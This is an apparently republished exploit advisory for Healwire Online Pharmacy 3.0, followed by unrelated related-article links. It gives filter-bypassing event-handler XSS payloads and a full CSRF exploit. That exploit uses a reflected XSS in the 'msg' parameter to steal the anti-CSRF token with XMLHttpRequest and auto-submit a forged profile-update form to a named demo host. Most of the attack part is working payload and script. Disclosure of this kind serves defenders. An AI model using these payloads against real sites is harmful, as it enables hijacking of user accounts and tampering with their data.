Healwire Online Pharmacy 3.0 Cross Site Request Forgery / Cross Site Scripting

简介: Healwire Online Pharmacy version 3.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

Healwire Online Pharmacy version 3.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploitvulnerabilityxsscsrf

MD5 | 9196695291014c0d67db9bdd80d678ff

 

# Exploit Title: Healwire Online Pharmacy 3.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery
# Date: 2018-05-17
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/healwire-online-pharmacy/16423338?s_rank=1499
# Version: 3.0
# Tested on: windows
 
# POC 1 : Cross site scripting :
1) Create an account and go to your profile.
2) When we want to put "<script></script>" in the fields,"script" will be
replaced with null.
so we can bypass this filter by using javascript's events like
"onmouseover" or "oninput" .
Put one of these payloads into the fields :
1 - " oninput=alert('xss') "
2 - " onmouseover=alert('xss') "
3) You will get an alert box inside the page . ( after put something into
the fields or move mouse on the fields)
 
 
# POC 2 : Cross-Site request forgery :
# With csrf vulnerability,attacker can easily change user's authentication.
# So in this script , we have anti-CSRF token .We can't change user's
# information without token.
# but there is a vulnerable parameter which has reflected xss in another page
# of this script.
# http://store.webandcrafts.com/demo/healwire/?msg= [We have Reflected XSS here]
# Now we can bypass anti-csrf by this parameter and using javascript:
 
 
# Exploit :
 
"/><form action="
http://store.webandcrafts.com/demo/healwire/user/update-details-user/1"
method="POST">
<input type="hidden" name="first_name" value="a" />
<input type="hidden" name="address"
value="" oninput=alert(document.domain) ""
/>
<input type="hidden" name="pincode" value="a" />
<input type="hidden" name="phone" value="100000000" />
<input type="hidden" name="last_name" value="anything" />
<input type="hidden" name="_token" value="" />
</form>
<script>
var token = ' ';
var req = new XMLHttpRequest();
req.onreadystatechange = function(){
if(this.readyState == 4 && this.status == 200){
var secPage = this.responseXML;
token = secPage.forms[0].elements[0].value;
console.log(token);
}
}
req.open("GET","/demo/healwire/account-page",true);
req.responseType = "document";
req.send();
 
window.setTimeout(function(){
document.forms[0].elements[5].value = token;
document.forms[0].submit();
},3000)
</script>
 
# You can also send 2 ajax requests instead of using form .
# Encode this payload and put this into "msg" parameter
# JSON result after 3 seconds :
 
status "SUCCESS"
msg "User profile updated !"

 

目录
相关文章
|
Web App开发 网络安全
Indicate whether to send a cookie in a cross-site request by specifying its SameSite attribute
Indicate whether to send a cookie in a cross-site request by specifying its SameSite attribute在这里插入图片描述
2061 0
|
SQL 关系型数据库 MySQL
Database Visualization using Metabase Part 2 - Use Metabase to Get Insights
In this tutorial, we will install Metabase on an Alibaba Cloud ECS Ubuntu 16.04 server to achieve data visualization.
2235 0
Database Visualization using Metabase Part 2 - Use Metabase to Get Insights
|
SQL 测试技术 索引
[20150810]关于提示DRIVING_SITE.txt
[20150810]关于提示DRIVING_SITE.txt --今天看了提示DRIVING_SITE的使用,通过例子来说明: 1.测试环境: SCOTT@test> @ver1 PORT_STRING                    VER...
690 0
Cross Site Port Attacks - XSPA - Part 2
http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-2.
609 0
Lotus Domino Web Administrator – Cross Site Command Execution
Description Lotus Domino is vulnerable to CSRF attack which can de used for OS command execution in webadmin.
852 0
xssf-cross-site-scripting-framework-v30
The Cross-Site Scripting Framework (XSSF) is a security tool designed to turn the XSS vulnerability exploitation task into a much easier work.
675 0
|
Web App开发 JavaScript 前端开发
Using Content Security Policy to Prevent Cross-Site Scripting (XSS)
On SendSafely.com we make heavy use of many new JavaScript APIs introduced with HTML5.
942 0